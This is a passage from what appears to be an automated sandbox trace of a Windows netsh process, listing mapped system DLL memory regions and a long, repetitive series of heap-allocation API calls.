filename = "\\Windows\\System32\\EAPQEC.DLL" (normalized: "c:\\windows\\system32\\eapqec.dll") Region: id = 2064 start_va = 0x8b0000 end_va = 0x8b0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eapqec.dll.mui" filename = "\\Windows\\System32\\en-US\\EAPQEC.DLL.MUI" (normalized: "c:\\windows\\system32\\en-us\\eapqec.dll.mui") Region: id = 2164 start_va = 0x1e00000 end_va = 0x1e44fff monitored = 0 entry_point = 0x1e01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2165 start_va = 0x2db0000 end_va = 0x2eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 2166 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2167 start_va = 0x1e00000 end_va = 0x1e44fff monitored = 0 entry_point = 0x1e01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2168 start_va = 0x1e00000 end_va = 0x1e44fff monitored = 0 entry_point = 0x1e01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2169 start_va = 0x1e00000 end_va = 0x1e44fff monitored = 0 entry_point = 0x1e01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2170 start_va = 0x1e00000 end_va = 0x1e44fff monitored = 0 entry_point = 0x1e01064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2171 start_va = 0x7fefc7c0000 end_va = 0x7fefc806fff monitored = 0 entry_point = 0x7fefc7c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2172 start_va = 0x7fefd1b0000 end_va = 0x7fefd1c3fff monitored = 0 entry_point = 0x7fefd1b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2180 start_va = 0x2f50000 end_va = 0x304ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 2181 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2182 start_va = 0x3130000 end_va = 0x322ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003130000" filename = "" Region: id = 2183 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2184 start_va = 0x8b0000 end_va = 0x8b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "p2pnetsh.dll.mui" filename = "\\Windows\\System32\\en-US\\p2pnetsh.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\p2pnetsh.dll.mui") Region: id = 2185 start_va = 0x32b0000 end_va = 0x33affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032b0000" filename = "" Region: id = 2186 start_va = 0x7fefc550000 end_va = 0x7fefc56afff monitored = 0 entry_point = 0x7fefc552068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2187 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2617 start_va = 0x7fefc700000 end_va = 0x7fefc74bfff monitored = 0 entry_point = 0x7fefc707950 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2618 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 2619 start_va = 0x8c0000 end_va = 0x8c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Thread: id = 21 os_tid = 0xf58 [0043.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20fd90 | out: lpSystemTimeAsFileTime=0x20fd90*(dwLowDateTime=0xbec55de0, dwHighDateTime=0x1d93032)) [0043.578] GetCurrentProcessId () returned 0xf54 [0043.578] GetCurrentThreadId () returned 0xf58 [0043.578] GetTickCount () returned 0x102b3aa [0043.578] QueryPerformanceCounter (in: lpPerformanceCount=0x20fd98 | out: lpPerformanceCount=0x20fd98*=1714896479353) returned 1 [0043.579] GetModuleHandleW (lpModuleName=0x0) returned 0x9e0000 [0043.579] __set_app_type (_Type=0x1) [0043.580] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x9ead14) returned 0x0 [0043.580] __wgetmainargs (in: _Argc=0x9f55c0, _Argv=0x9f55d0, _Env=0x9f55c8, _DoWildCard=0, _StartInfo=0x9f55dc | out: _Argc=0x9f55c0, _Argv=0x9f55d0, _Env=0x9f55c8) returned 0 [0043.582] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0043.582] GetModuleHandleW (lpModuleName=0x0) returned 0x9e0000 [0043.582] _vsnwprintf (in: _Buffer=0x9f7a40, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x2078e8 | out: _Buffer="netsh>") returned 6 [0043.582] GetProcessHeap () returned 0x2c0000 [0043.582] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e01f0 [0043.582] GetProcessHeap () returned 0x2c0000 [0043.582] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0210 [0043.582] GetProcessHeap () returned 0x2c0000 [0043.582] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0230 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0250 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0270 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0290 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e02b0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e02d0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e02f0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0310 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0330 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0380 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e03a0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e03c0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e03e0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0400 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0420 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0440 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0460 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0480 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.583] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e04a0 [0043.583] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e04c0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e04e0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0500 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0520 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0540 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0560 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0580 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e05a0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e05c0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e05e0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0600 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0620 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0640 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0660 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0680 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e06a0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e06c0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e06e0 [0043.584] GetProcessHeap () returned 0x2c0000 [0043.584] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0700 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0720 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0740 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0760 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0780 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e07a0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e07c0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e07e0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0800 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0820 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0840 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0860 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0880 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e08a0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e08c0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e08e0 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0900 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0920 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0940 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.585] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0960 [0043.585] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0980 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e09a0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e09c0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e09e0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a00 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a20 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a40 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a60 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0a80 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0aa0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ac0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ae0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0b00 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0b20 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0b80 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ba0 [0043.586] GetProcessHeap () returned 0x2c0000 [0043.586] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0bc0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0be0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0c00 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0c20 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0c40 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0c60 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0c80 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ca0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0cc0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ce0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0d00 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0d20 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0d40 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0d60 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0d80 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0da0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0dc0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0de0 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0e00 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0e20 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.587] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0e40 [0043.587] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0e60 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0e80 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ea0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ec0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0ee0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0f00 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0f20 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0f40 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0f60 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0f80 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0fa0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0fc0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e0fe0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1000 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1020 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1040 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1060 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1080 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e10a0 [0043.588] GetProcessHeap () returned 0x2c0000 [0043.588] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e10c0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e10e0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1100 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1120 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1140 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1160 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1180 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e11a0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e11c0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e11e0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1200 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1220 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1240 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1260 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1280 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e12a0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e12c0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e12e0 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1300 [0043.589] GetProcessHeap () returned 0x2c0000 [0043.589] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1320 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1380 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e13a0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e13c0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e13e0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1400 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1420 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1440 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1460 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e1480 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e14a0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e14c0 [0043.590] GetProcessHeap () returned 0x2c0000 [0043.590] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x10) returned 0x2e14e0 [0043.590] 